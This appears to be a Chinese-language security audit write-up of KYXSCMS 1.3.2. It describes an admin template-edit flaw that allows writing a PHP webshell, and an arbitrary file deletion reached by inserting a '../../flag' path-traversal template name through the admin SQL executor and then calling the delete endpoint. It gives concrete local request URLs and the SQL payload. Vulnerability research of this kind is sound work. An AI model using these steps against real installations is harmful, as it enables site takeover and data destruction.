KYXSCMS1.3.2审计

前言

跟着feng师傅审了一下,感觉都是些后台的洞。记录几个

getshell

编辑处的getshell,编辑处确实是比较容易出现getshell的。

漏洞位置:application/admin/controller/Template.php

重点代码:

1
2
3
4
public function edit($data)
{
return File::put($data['path'],$data['content']);
}

我们跟进一下put函数:

1
2
3
4
5
6
7
8
9
10
11
12
static public function put($filename,$content,$type='')
{
$dir = dirname($filename);
if(!is_dir($dir))
mkdir($dir,0755,true);
if(false === file_put_contents($filename,$content)){
throw new \think\Exception('文件写入错误:'.$filename);
}else
{
self::$contents[$filename]=$content;
return true;
}

filename和content都是可控的,通过file_put_content函数可以直接写进去

可以尝试一下:

1.png

我们访问yang.php:

2.png

成功拿到shell.

任意文件删除

这个要配合任意SQL执行,后台是给了任意SQL执行这个功能点的,在/application/admin/tool/sqlexecute

然后我们先来看看漏洞点:application/admin/template/del :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function del($id)
{
$map = ['id' => $id];
$name = Template::where($map)->column('name');

foreach ($name as $value) {
del_dir_file('./'.config('web.default_tpl').DIRECTORY_SEPARATOR.$value,true);
}
$result = Template::where($map)->delete();
if(false === $result){
$this->error=Template::getError();
return false;
}else
{
return $result;
}
}

这里的value参数就是name的值,而name是从表里面查询相对应id的name字段值,因为可以执行任意的SQL语句,value值我们可控,就可以进行目录穿越,从而进行任意文件删除。

首先我在web根目录下创建了一个文件夹,名为 flag

漏洞触发步骤:

http://127.0.0.1/admin/tool/sqlexecute post传 insert into {pre}template values ("3","../../flag","3","4","5","6","7","8","9")

(这里我是本地查看了一下表的字段,发现name在第二列)

然后我们直接 http://127.0.0.1/admin/template/del?id=3

发现flag文件夹已经被删除。